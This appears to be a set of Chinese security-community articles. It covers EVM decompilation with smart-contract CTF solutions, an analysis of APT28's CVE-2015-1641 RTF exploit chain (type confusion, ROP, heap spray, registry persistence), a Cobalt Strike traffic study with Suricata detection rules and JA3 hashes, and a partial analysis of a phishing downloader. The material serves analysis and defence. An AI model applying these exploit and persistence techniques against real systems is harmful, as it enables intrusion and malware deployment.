从 `if (var1) { revert(memory[0x00:0x00]);` 这个语句里，我们就可以知道函数
a()是没有`paypable`修饰的。然后转进a()，又转进`func_009E(2)`，这里其实就是一个if语句，递归自己，当参数小于等于1的时候返回1。仔细一想，这有点像阶乘嘛。至于b()，就只有一个`storage[0x00]`位自加一了。
然后试着写一下，清楚多了:
contract gogogo{
function a() public returns(uint) {
func_009E(2)
return 0
}
function b()public {
storage[0x00] += 0x01;
return 0;//和stop()等价
}
function func_009E( arg0) returns ( r0){
if(arg0<=1) {
return 1;
}
return arg0*func_009E(arg0-1)
}
}
# 练手2
这个是一个有漏洞的合约。
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
反编译后:
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x70a08231) {
// Dispatch table entry for balanceOf(address)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0094;
var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balanceOf(var2);
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + temp0 - temp1 + 0x20];
} else if (var0 == 0xb2fa1c9e) {
// Dispatch table entry for isComplete()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00bb;
var1 = isComplete();
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = !!var1;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + temp2 - temp3 + 0x20];
} else if (var0 == 0xd96a094a) {
// Dispatch table entry for buy(uint256)
var1 = 0x00da;
var2 = msg.data[0x04:0x24];
buy(var2);
stop();
} else if (var0 == 0xe4849b32) {
// Dispatch table entry for sell(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00da;
var2 = msg.data[0x04:0x24];
sell(var2);
stop();
} else { revert(memory[0x00:0x00]); }
}
function balanceOf(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function isComplete() returns (var r0) { return address(address(this)).balance < 0x0de0b6b3a7640000; }
function buy(var arg0) {
if (arg0 * 0x0de0b6b3a7640000 != msg.value) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = arg0 + storage[temp0];
}
function sell(var arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
var temp0 = msg.sender;
memory[0x00:0x20] = temp0;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
var temp2 = arg0;
storage[temp1] = storage[temp1] - temp2;
var temp3 = memory[0x40:0x60];
var temp4 = temp2 * 0x0de0b6b3a7640000;
memory[temp3:temp3 + 0x00] = address(temp0).call.gas(!temp4 * 0x08fc).value(temp4)(memory[temp3:temp3 + 0x00]);
var var0 = !address(temp0).call.gas(!temp4 * 0x08fc).value(temp4)(memory[temp3:temp3 + 0x00]);
if (!var0) { return; }
var temp5 = returndata.length;
memory[0x00:0x00 + temp5] = returndata[0x00:0x00 + temp5];
revert(memory[0x00:0x00 + returndata.length]);
}
}
首先看`balanceOf(address)`,这里需要知道映射的储存方式，映射mapping 中的键 `k` 所对应的值会位于
`keccak256(k.p)`， 其中 `.` 是连接符。
通过var2在定义的时候`&
0xffffffffffffffffffffffffffffffffffffffff`可以确定var2是`address`类型(160位),传入balanceOf()后可以发现返回`storage[keccak256(address+0x00)]`，从`+0x00`可以看出来这就是最开始就定义的从地址到某个类型(分析其他地方可得出)的映射。
isComplete()非常明了了，直接跳过。
buy(arg0)第一行明显要我们传入 arg0 数量的 ether 进去，这里可以还原成`require()`
下面的代码把arg0加到上面的映射中。再结合函数名(这次运气好函数名都有)可以猜出这个合约到底要干啥了。
sell()里要注意的是 `memory[temp3:temp3 + 0x00] = address(temp0).call.gas(!temp4 *
0x08fc).value(temp4)(memory[temp3:temp3 +
0x00]);`这一行包括下面的代码都是代表一个transfer()，因为transfer要处理返回值，所以分开写看起来比较多。这里我们可以看到安全的transfer也是通过.call.value来实现的，只不过对gas做了严格控制，杜绝重入漏洞。
试着写一下:
contract gogogo{
function balanceOf(address add)public returns (){
return storage[keccak256(add+0x00)];
//映射的储存方法
//也就是 mapping(address => uint256) public balanceOf;
}
function isComplete(){
return address(this).balance < 1 ether;
}
function buy( arg0)public {
require(msg.value==arg0*1 ether);
mapping[msg.sender] += arg0;
}
function sell( arg0)public{
require(mapping[msg.sender]>=arg0)
mapping[msg.sender] -=arg0;
msg.sender.transfer(arg0 * 1 ehter);
}
}
最后说一下，这段代码是`require(msg.value==arg0*1 ether);`有溢出点，可以绕过。
# 实战
实战的是今年PHDays安全会议的比赛里的一道逆向题The Lock。这道题没有源码(废话)。
做这个题的时候我们要再加上IDA-EVM，更方便分析。
已知信息:解锁这个合约就胜利，函数签名unlock(bytes4 pincode)，每次尝试支付0.5 ehter
直接上反编译后的:
contract Contract {
function main() {
memory[0x40:0x60] = 0x60;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x6a5e2650) {
// Dispatch table entry for unlocked()
if (msg.value) { revert(memory[0x00:0x00]); }
var var1 = 0x0064;
var var2 = unlocked();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x75a4e3a0) {
// Dispatch table entry for 0x75a4e3a0 (unknown)
//unlock(bytes4)
var1 = 0x00b3;
var2 = msg.data[0x04:0x24] & ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
var1 = func_00DF(var2);
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x20] = !!var1;
var temp3 = memory[0x40:0x60];
return memory[temp3:temp3 + (temp2 + 0x20) - temp3];
} else { revert(memory[0x00:0x00]); }
}
function unlocked() returns (var r0) { return storage[0x00] & 0xff; }
//unlock(bytes4 )
function func_00DF(var arg0) returns (var r0) {
var var0 = 0x00;
var var1 = var0;
var var2 = 0x00;
var var3 = var2;
var var4 = 0x00;
var var5 = var4;
if (msg.value < 0x06f05b59d3b20000) { revert(memory[0x00:0x00]); }
var3 = 0x00;
if (var3 & 0xff >= 0x04) {
label_01A4:
if (var2 != var1) { return 0x00; }
storage[0x00] = (storage[0x00] & ~0xff) | 0x01;
return 0x01;
} else {
label_0111:
var var6 = arg0;
var var7 = var3 & 0xff;//0x00
if (var7 >= 0x04) { assert(); }
var4 = (byte(var6, var7) * 0x0100000000000000000000000000000000000000000000000000000000000000) / 0x0100000000000000000000000000000000000000000000000000000000000000;
var6 = var4 >= 0x30;
if (!var6) {
if (!var6) {
label_0197:
var3 = var3 + 0x01;
label_0104:
if (var3 & 0xff >= 0x04) { goto label_01A4; }
else { goto label_0111; }
} else {
label_0181:
var temp0 = var4 - 0x30;
var5 = temp0;
var2 = var2 + var5 ** 0x04;
var1 = var1 * 0x0a + var5;
var3 = var3 + 0x01;
goto label_0104;
}
} else if (var4 > 0x39) { goto label_0197; }
else { goto label_0181; }
}
}
}
先修正一个错误！反编译后的`byte(var6, var7)`里两个参数的位置是错误的，`byte(var7,
var6)`应该是这样.这个地方搞了我好久，但是人家也标注了工具是"experimental"性质的嘛。byte()的作用是把栈顶替换成栈顶下面一个元素的第栈顶值个字节的值。[byte()的图解](https://ethervm.io/#1A
"图解")
整体看下来目的比较明确，就是要通过`func_00DF(var
arg0)`函数把`storage[0x00]`改为1，使`unlocked()`返回1即可。我们先在IDA里看看，发现进入`label_104`代码段后会进入一个大循环。
开门先判断 `var7>=4` ，下面又使`var4`为输入的第 **var7**
个字节。var6判断这个字节是不是大于`0x30`，可以猜出来出来0x30是0的ASCII码，应该有点关系。发现当var6为1时，会判断var4是否大于`0x39`，这不就是9的ascii码么.然后我们从`label_0197`开始看，发现如果不符合要求var3自加一后会继续循环，直到它为4时进入可以改变`storage[0x00]`的代码段。再看一下`label_0181`代码段,这里就是把提取出的单字节字符转换成数字后，`var2`加上它的4次方，`var1`加上它的10倍。
分析到这里，就可以试着写一下大致逻辑了:
contract gogogo{
uint8 isunLocke;
function unlocked() public {
return isunLocke;
}
function unlock(arg0) payable public{
require(msg.sender.value>=0.5 ether);
for(i = 0; i < 4; i++ ){
chr = byte(i,arg0)
if(chr < 0x30 || chr > 0x39 ){
continue;
}
number = chr - 0x30 //字符转数字
var2 = var2 + number**4
var1 = var1 + number*10
}
if(var2 != var1){
return
}
isunLocke = 1;
//(0 & ~0xff) | 0x01
//1
}
}
可以看出，我们要提供各位4次方之和为它本身的数字。稍稍爆破一下就有1634可以满足
# 结尾与总结
从逆向的过程来看，要熟知EVM的各种原理，比如各种不同的变量的储存方式等等。看逆向的代码也能帮我们更深入的了解solidity的一些漏洞，比如变量覆盖,很明显我们写的`storage`变量在编译后全都变成对`storage`位的操作了，运用不当肯定会造成变量覆盖漏洞嘛。
其他工具:
<https://github.com/radare/radare2>
<https://github.com/radare/radare2-extras>
<https://github.com/trailofbits/ethersplay>
<https://github.com/meyer9/ethdasm>
<https://github.com/comaeio/porosity>
作者水平有限，如有错误和欠妥之处，恳请各位师傅指正！ | 社区文章 |
最近在研究APT攻击，我选择研究APT的方法通过一个APT组织入手，我选择的是APT28这个组织，APT28组织是一个与俄罗斯政府组织的高级攻击团伙，我将分析该组织的攻击样本、攻击方法、攻击目的来研究一个APT组织。本次分析的是该团伙使用的CVE-2015-1641漏洞样本，所有资料均来自互联网。
本次分析的样本来自unit42披露的针对美国政府发送的鱼叉钓鱼攻击，此次攻击的社会工程学包括：
1 攻击邮件的发件人使用真实另一个国家外交部的电子邮件，推测，该外交部的主机或账号遭到入侵。
2 邮件主题跟名称都是关于美国和格鲁吉亚之间联合北约培训工作。
此次分析的样本一共如下：
文件名称 Exercise_Noble_Partner_16.rtf
SHA-256 03cb76bdc619fac422d2b954adfa511e7ecabc106adce804b1834581b5913bca
创建时间 2016-05-20 18:50:00
文件大小 0.98M
# **漏洞原理分析**
两个文件都是rtf文件，我们使用oletools分析其中一个文件，并使用-s all
参数保存这些OLE文件，可以看到共三个OLE文件，我们重点分析下这三个文件
我们分析这3个文件，发现在打开id=2的文件的时候，出现了crash,我们重点关注下这个文件，我们发现程序在读取ecx的时候发现了错误
分析发现这块地址并未分配，而ecx 7c38bd50是从什么地方来的
进行栈回溯
进行解压，并查看里面的文件，从document.xml文件中，发现smartTag标签中出现了0x7c38BD50,跟Ecx里面的值一样，导致Crash,可以猜测道ecx里面的值来自smart标签的element属性。
我们来说一下这个漏洞的原理，该漏洞是由于wwlib.dll模块在处理标签内容时存在类型混淆漏洞，windbg具体跟下来看下漏洞的具体位置，通过栈回溯函数，发现了其中的XML解析函数，具体看下msxml6!Reader::ParseElementN,微软给了符号函数
我们看到Reader::ParseElementN函数肯定会调用GetTokenValueQName 函数
这个函数是获取标签名，fortinet下的断点是这样的
bp msxml6!Reader::ParseElementN+0x6a “.echo Parsing XML tag:;r $t0=ebp-20;dc
@@c++(((StringPtr _)@$t0)- >pwh) l@@c++(((StringPtr_)@$t0)->n/2); gc”
下断点，发现在crash之前解析的标签smartTag跟子标签moveFromRangeStart、
MoveFromRangeEnd，进一步印证我们上面的猜测
可以发现最后解析的两个标签moveFromRangeStart、moveFromRangeEnd都含有displacedByCustomXml
这个字段主要意思是当前标签处需要被一个customXML中的内容替代
首先断到漏洞相关函数，相关断点如下
wwlib!DllGetClassObject+0x424d ".if(ecx =0x7c38bd50){}.else{gc}"，重点关注参数
eax里面存储的为 smart 标签中的element 属性0x7c38bd50，esi表示标签层级
[ebp+Src]里面存储的id值 0xffffe696
通过查看栈帧往上查看v18指向smartTag对象，*(v18+4) 为 smart 标签中的element
属性0x7c38bd50,src里面为moveFromRangeStart的id值，但是此流程传入的不应该是smartTag对象，而应该是costomXml标签，而由于使用了displacedByCustomXml属性，导致这里类型混淆，本来会被上一个或者下一个customXml标签代替
由于此流程不是处理smartTag对象，会导致传入element属性值会被当做一个地址传入，并计算出一个地址，最后将moveFromRangeStart的id拷贝到这个地址，就会造成任意地址写
看一下calc_addr函数，正常的计算公式为
TagList基址+HeadSize+TagObjectSize*CurrIndex
首先看一下TagList结构体
TagList{
DWORD current_index; 当前标签层级
DWORD ? ; 未知
DWORD TagObjecSize; TagObjec大小
DWORD headsize; head大小
}
而传入element属性（0x7c38bd50）被误认为Taglist基址，并计算出来为0x7c38bd74,并传入拷贝函数将moveFromRangeStart的id拷贝到这个地址。
这个地址是MSVCR71这个模块，然后这个模块开始是并没有的，漏洞利用者通过嵌入ProgID为
otkloader.WRAssembly.1的对象来加载OTKLOADR.DLL的模块来引入MSVCR71模块来绕过ASLR保护
执行后，可以看到7c38bd74已经被覆盖为ffffe696
通过样本可以看到一共进行了4轮拷贝，第二轮传入的假的Taglist基址为0x7c38bd68,而这次正好用到了第一次拷贝的值，计算为
0x7c38bd68+ffffe696+6*7=0x7c38a428
此地址原来存的为kernel32!FlsGetValueStub函数的地址
这次写入的值为0x7c376fc3
我们看到覆盖后的地址也是一串代码，这样在执行到0x7c38a428地址kernel32!FlsGetValueStub函数的时候，将执行这段代码
继续看后面覆盖的代码
第三次覆盖，为第四做铺垫
第四次通过计算将 0b800aa0 写入到7c38a430中
这次断到劫持的函数kernel32!FlsGetValueStub也就是0x7c38a428，发现ecx跟栈中都有之前写入0b800aa0
通过栈回溯，发现通过之前写入的地址读取了写入的值
# **分析堆喷与shellcode**
首先分析下，esp返回的精心构造的地址为0b800aa0,看下这个地址
进行查看可以看到样本进行堆喷的地址
查看rtf文件中的ole文件，找到activeX进行堆喷的地方，将activeX2堆喷到进程空间中
我们分析的ROP链，如下所示
ROP主要使用函数
kernel32!VirtualAlloc：使用此函数声明0x0b800ae0这段内存可执行，来绕过DEP
之后跳转之后，就是shellcode了
Shellcode主要功能，通过解密出一个DLL文件
该DLL文件的主要作用，首先获取3个资源
一个是PE文件
一个RTF文件
是一段shellcode
之后开辟一段内存，并分别将shellcode跟pe文件拷贝到这段内存中
最后执行shellcode,shellcode主要是建立下面PE文件导入表等等的初始化工作
然后执行从资源文件中取出的PE文件，该文件主要是先创建两个DLL文件
C:\ProgramData\svchost.dll
C:\Users\sunqiang\AppData\Roaming\btecache.dll
最后在一个有趣的注册表
HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf键值
这个键值下是释放的DLL
C:\Users\sunqiang\AppData\Roaming\btecache.dll，这个不会随着开机启动，而是每次打开office程序时候，会加载这个DLL，实现木马的持久化
在测试中，资源中的rtf文件没有处理直接停止了进程
# 参考文章
* <https://www.anquanke.com/post/id/103080>
* <https://www.fortinet.com/blog/threat-research/cve-2017-11826-exploited-in-the-wild-with-politically-themed-rtf-document.html>
https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/ | 社区文章 |
**作者：ainrm@薮猫科技安服团队
公众号：薮猫科技（欢迎关注）<https://mp.weixin.qq.com/s/CjsqWrm70HVEnolZrRD8oA>**
### 一、前言
Cobaltstrike是一款用于团队协作的内网渗透工具，在攻防、测试中扮演着重要角色，其功能强大、使用人数众多，已被各大安全厂商列入重点"照顾"对象。常见的检测方式有基于内存和基于流量两种，本文从流量角度出发，通过抓包、解包来分析c2与beacon间的通信过程，并尝试从中提取流量特征转化为ids检测规则。
### 二、流量分析
#### 2.1 http-staging
##### 01 stage下载
stager可执行文件`artifact.exe`运行后会有一个payload下载过程，使用http协议从指定服务器下载stage。
其中http请求路径不唯一，但都符合一个checksum8规则，即：路径的ascii之和与256取余计算值等于92。
* `/Yle2`、`/cKTZ`、`/wQPD`
而下载的文件约211kb，解析后可以看到回连地址、加密字段、公钥等配置信息。
##### 02 beacon上线
随后beacon按设置的频率以`get`方法向c2服务器发起心跳请求，通过cookie携带靶机信息。
此时client界面可以看见目标机器上线：
##### 03 命令下发
c2服务器如果有任务下发，则放入http心跳请求返回包中。
当前下发的命令：`whoami`
##### 04 结果回传
beacon端处理完成后，通过`post`方法回传数据。
备注：`https-beacon`在`http-beacon`的基础上加入了tls层对流量加密，其他过程相似。
#### 2.2 dns-stagless
##### 01 beacon上线
与staging阶段不同，stagless不需要额外加载stage，运行`dns-beacon.exe`后，beacon端向发起一个`A`记录查询，查询内容为16进制字符串地址，表示靶机已上线，c2服务器收到请求后回复`0.0.0.0`表示确认消息。
此时，客户端可以看见一个不同于http(s)上线的黑框记录。
##### 02 beacon激活
客户端控制台输入`checkin`或其他指令激活窗口，dns-beacon服务器支持`A`、`TXT`、`AAAA`三种方式下发payload，激活后默认使用`TXT`记录，流量中表现为`0.0.0.243`，除此之外还可以通过`mode`指令切换为`A`、`AAAA`记录，流量中表现为`0.0.0.241`、`0.0.0.245`，随后beacon端发起以`www`为首的`A`记录请求，向c2服务器传递靶机基础信息。
##### 03 命令下发
beacon准备接收c2任务，先发送以`api`开头的`A`记录请求告知c2服务器可以开始下发任务，即图中的`0.0.0.243-TXT`方式，随后发起以`api`开头的`TXT`记录请求等待c2服务器返回数据。
##### 04 结果回传
beacon端执行完命令后，再向c2服务器发起以`post`开头的`A`记录查询回传执行结果。
### 三、特征提取
上一节对使用默认配置文件的cobaltstrike交互过程进行了分析，流量中存在很多特征，但在实际攻防、测试中红队常使用[Malleable-C2-Profiles](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)来修改c2配置实现应用层流量混淆，从而绕过部分安全设备监控，这里就以profile为界限将特征划分为基础特征和强特征两个方向，即：
* 基础特征：使用默认配置时存在的特征，可通过修改profile文件或证书将其隐藏；
* 强特征：需要修改cobaltstrike源码才能较好去除的这部分特征。
#### 3.1 基础特征
##### 01 http请求
http-beacon通信中，默认使用get方法向`/dpixel`、`/__utm.gif`、`/pixel.gif`等地址发起请求，同时请求头存在cookie字段并且值为base64编码后的非对算算法加密数据。
# default c2-http profile
# define indicators for an HTTP GET
http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
client {
# base64 encode session metadata and store it in the Cookie header.
metadata {
base64;
header "Cookie";
}
}
server {
# server should send output with no changes
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
##### 02 https证书
https-beacon通信中，默认使用空证书建立加密通道，流量中可以看见这一过程。
##### 03 dns异常返回值
dns-beacon通信中，默认使用`cdn.`、`www6.`、`api.`、`www.`、`post.`为开头发起dns请求，并且查询结果伴随`0.0.0.0`、`0.0.0.80`、`0.0.0.241`等非常规ip。
#### 3.2 强特征
##### 01 chechsum8
运行staging模式的pe文件，会向指定服务器的checksum8路径发起请求来下载stage。
即使通过profile文件改变下载地址，但c2服务器依然会对checksum8地址请求作出响应。
# https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.6.profile
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js";
...
}
##### 02 ja3/ja3s
ja3和ja3s分别代表tls握手阶段的client-hello、server-hello的数据集合计算出的哈希值（md5），相同版本相同系统下指纹相同，该特征与操作系统、cobaltstrike版本有关，profile文件无法对其修改。
1. win10-https-beacon-ja3指纹：`72a589da586844d7f0818ce684948eea`
1. centos-cs4.4-ja3s指纹：`fd4bc6cea4877646ccd62f0792ec0b62`
#### 3.3 小结
### 四、规则编写
> 根据前面提取的特征，共整理出 17 条 ids
> 规则。这一节对其中的5条进行讲解，其余规则和过程文件已上传至[github](https://github.com/ainrm/cobaltstrike-> suricata-rules)
#### 4.1 checksum8检查
同时命中以下三条规则则触发告警：
1. 由客户端发起并与目标服务器建立连接：`flow: established, to_server;`
2. 请求路径长度为5：`urilen:4<>6;`
3. 调用lua计算路径的ascii之和并与256做取余操作，结果为92：`luajit:checksum8_check.lua;`
完整规则：
# suricata规则
# http-beacon-staging，向c2服务器发起get请求，下载大小约210kb的stager，请求地址符合checksum8规则
# 调用lua检查uri是否符合checksum8规则：计算uri的ascii之和并与256做取余计算，余数为92则符合规则
alert http any any -> any any (gid:3333; sid:30001; rev:1; \
msg:"http-beacon-checksum8-path-parse"; \
classtype: http-beacon; \
flow: established, to_server; \
urilen:4<>6; \
luajit:checksum8_check.lua; \
)
# checksum8_check.lua
function init (args)
local needs = {}
needs["http.uri"] = tostring(true)
return needs
end
function match(args)
local uri_raw = tostring(args["http.uri"])
local uri = string.sub(uri_raw, 2, -1) -- 去除uri中的"/"
local sum = 0
for i=1,#uri do
local x = string.sub(uri,i,i)
sum = sum + string.byte(x)
end
if (sum % 256) == 92 then
return 1 -- 符合checksum8规则，匹配成功
else
return 0 -- 不符合checksum8规则，匹配失败
end
end
#### 4.2 ja3/ja3s检查
满足其中之一则命中规则触发告警：
1. 采用黑名单机制，正则匹配由beacon端发起请求的ja3指纹；
2. 采用黑名单机制，正则匹配由c2端返回的ja3s指纹。
完整规则：
# https-beacon-ja3指纹，client-hello
alert tls any any -> any any (gid:6666; sid:30005; rev:1; \
msg:"https-beacon-ja3-hash"; \
classtype: https-beacon; \
ja3.hash; pcre:"/652358a663590cfc624787f06b82d9ae|4d93395b1c1b9ad28122fb4d09f28c5e|72a589da586844d7f0818ce684948eea|a0e9f5d64349fb13191bc781f81f42e1/"; \
)
# https-beacon-ja3s指纹，server-hello
alert tls any any -> any any (gid:6666; sid:30006; rev:1; \
msg:"https-beacon-ja3s-hash"; \
classtype: https-beacon; \
ja3s.hash; pcre:"/fd4bc6cea4877646ccd62f0792ec0b62|15af977ce25de452b96affa2addb1036|b742b407517bac9536a77a7b0fee28e9/"; \
)
#### 4.3 异常dns检查
##### 01 A记录异常返回
同时命中以下两条规则则触发告警：
1. dns流量内容包含二进制数`00 01 00 01 00 00 00`：`content:"|00 01 00 01 00 00 00|";`
2. dns返回包以`0.0.0.241`结尾：`content:"|00 00 00 f1|"; nocase; endswith;`
完整规则：
# dns-beacon，匹配dns-beacon发起上线/心跳请求后，c2服务器的返回包，选择后续使用A记录
# Type: A, Class: IN, 0.0.0.241
alert dns any any -> any any (gid:9999; sid:30011; rev:1; \
msg:"dns-beacon-live-response"; \
classtype: dns-beacon; \
content:"|00 01 00 01 00 00 00|"; \
content:"|00 00 00 f1|"; nocase; endswith; \
)
##### 02 txt记录异常返回
同时命中以下四条规则则触发告警：
1. 由c2端发起请求：`flow:to_client;`
2. dns流量内容包含`api`字符：`pcre:"/api/";`
3. dns流量内容包含二进制数`00 01 00 01 00 00 00`：`content:"|00 01 00 01 00 00 00|";`
4. dns返回包以`0.0.0.50`结尾：`content:"|00 00 00 50|"; endswith;`
完整规则：
# dns-beacon，匹配dns-beacon使用TXT方式向c2服务器发起payload下载请求后，c2服务器的返回包
# api ==> TXT
# Type: A, Class: IN, 0.0.0.80
alert udp any any -> any any (gid:9999; sid:30015; rev:1; \
msg:"dns-beacon-getpayload-response"; \
classtype: dns-beacon; \
flow:to_client; \
pcre:"/api/"; \
content:"|00 01 00 01 00 00 00|"; \
content:"|00 00 00 50|"; endswith; \
)
#### 4.4 测试
##### 01 白流量
hexdump抓取访问baidu站点流量，测试结果没有产生误报。
##### 02 http-beacon
识别出stage下载、心跳请求、执行结果回传三种流量。
##### 03 https-beacon
识别出ja3、ja3s、cert三种cs流量。
##### 04 dns-beacon
识别出心跳请求、结果回传、元数据提交、payload下载四种cs流量。
### 五、总结
cobaltstrike默认配置文件具有较为明显的流量特征，容易被监管设备查杀，使用malleable-c2、证书等手法能够在一定程度上混淆流量，但在整个tcp/ip模型中依然存在蛛丝马迹，无法脱离cobaltstrike框架。对攻击方来说想要究极隐藏，笔者认为还得要从源头入手，在魔改cs或自研网络通信模型上想想办法，同时这对防守方来说提出了更高的要求，能否应对来自高级攻击者发起的挑战。
### 六、参考
* <https://www.52pojie.cn/thread-1426936-1-1.html>
* <https://www.52pojie.cn/thread-1607839-1-1.html>
* <https://suricata.readthedocs.io/en/latest/rules/index.html>
* <https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng>
* * * | 社区文章 |
# 【技术分享】分析一款代码经过混淆处理的勒索软件下载器
|
##### 译文声明
本文是翻译文章，文章来源：ringzerolabs.com
原文地址：<http://www.ringzerolabs.com/2017/08/analyzing-several-layers-of-obfuscation.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：140RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
今天我们将给大家分析一个恶意HTML文档，这份HTML文档声称“如果用户想要查看UPS收据的话，则必须要下载一款兼容插件”。这个HTML文档中使用了HTML、JavaScript和混淆技术，接下来我们会带大家一步一步地分析这些恶意内容。
**
**
**恶意文件细节**
文件名：UPS-Receipt-008533234.doc.html
保护机制：经过混淆处理的HTML+JavaScript，以及UPX Exe
MD5：762B0F20C80995D3AC8A66716011C156
样本下载：【[点我下载](https://malwr.com/analysis/YWJkOWI2Zjg4NGEwNGI4ZDk5MTk4ZDQ5MjIyNzkyNjU/)】
类型：钓鱼+木马下载器
演示视频：
**
**
**细节分析**
首先我们打开这个HTMl文档，此时我们将看到页面中的钓鱼信息。钓鱼信息表示，用户如果想要使用[Office
365](http://www.amazon.com/Microsoft-Office-1-year-subscription-Download/dp/B00B1TEIRU/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=2bd863d22edb5bd121597d2fe4dbb495&linkCode=ktl)来查看UPS收据的话，则必须要下载一个兼容插件。
在对HTML文档的代码进行分析之后我们发现，里面所有的组件都包含在一个经过了Base64编码的文件中，而且该文件不需要引用任何外部图片或资源。
如果我们点击了页面中间的蓝色按钮并下载所谓的“兼容插件”，那么该页面将会下载一个ZIP文件。实际上它并不是通过外部网站下载的，因为这个ZIP文件本来就存在于这个HTML文档中。
在对这个ZIP文件进行分析之后，我们发现了一个[JavaScript](http://www.amazon.com/JavaScript-JQuery-Interactive-Front-End-Development/dp/1118531647/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=dcbf82b7425b266cd9cdcbd92d9a17df&linkCode=ktl)文件，而这个JS文件的文件名会诱使用户更加相信这是一个[Office
365](http://www.amazon.com/Microsoft-Office-1-year-subscription-users/dp/B009SPTUW2/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=f589d6b80119e0903ef37697083f7fc9&linkCode=ktl)的兼容插件。
对这个JavaScript文件进行了分析之后，我们发现其中的JS代码经过了混淆处理，而代码的主要功能就是从五个单独域名的其中一个下载一份文件。这些域名保存在一个数组中，并且通过一个while循环来在数组中选择需要通信的域名，最后将域名信息追加到变量"
**cvetk** "的末尾，而这个文件就是接下来需要下载的文件了。
其中的GET请求所收到的响应为 “[HTTP](http://www.amazon.com/HTML-CSS-Design-Build-Websites/dp/1118008189/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=00cae70a8ef8fb793b512d9610d99662&linkCode=ktl)错误301，页面永久移除”的错误信息：
但是这个HTTP 301错误信息所下载的文件又是另一个经过混淆处理的JavaScript文件，而这个文件所采用的混淆处理模式比之前的要好得多。
我们发现，这个文件似乎包含的只有一个逐渐追加的变量。下面给出的是我们在文本编辑器中处理了代码格式后的结果：
这个脚本又会生成另一个脚本，而第二个脚本则会通过结尾的 **EVAL** 来运行。为了提取出这个动态生成的脚本，我们将所有的" **goxe**
"变量连接了起来，然后留下了如下所示的字符串（与结尾的 **EVAL** 有关）：
我们可以对这个字符串的格式进行进一步的调整，并得到可读性更强的脚本代码，接下来我们就能够使用 **WSCRIPT** 来对脚本进行调试了：
经过了格式化处理之后，我们就可以使用命令
wscript.exe //X file.js
来对这个[JavaScript](http://www.amazon.com/Web-Design-HTML-JavaScript-jQuery/dp/1118907442/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=5eca6aa1fbaeef863132817d3c6ed5a2&linkCode=ktl)文件进行[调试](http://www.amazon.com/Effective-Debugging-Specific-Software-Development/dp/0134394798/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=25e303d0fca89e5988f7ea451558bf15&linkCode=ktl)了。我们可以从代码调试的过程中看到，这个脚本会随机生成一段文本文字，并将其显示在Office文档中。
接下来，这个[Office文档](http://www.amazon.com/Microsoft-Office-Home-Student-Download/dp/B0153V62P2/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=891a4e833b92ce3fd7dac7e340b59516&linkCode=ktl)会写入目标系统的磁盘中并运行，其实这个Office文档的作用只是为了分散用户的注意力的。这个文档中包含的是一堆不可读的文本信息（乱码），具体如下图所示：
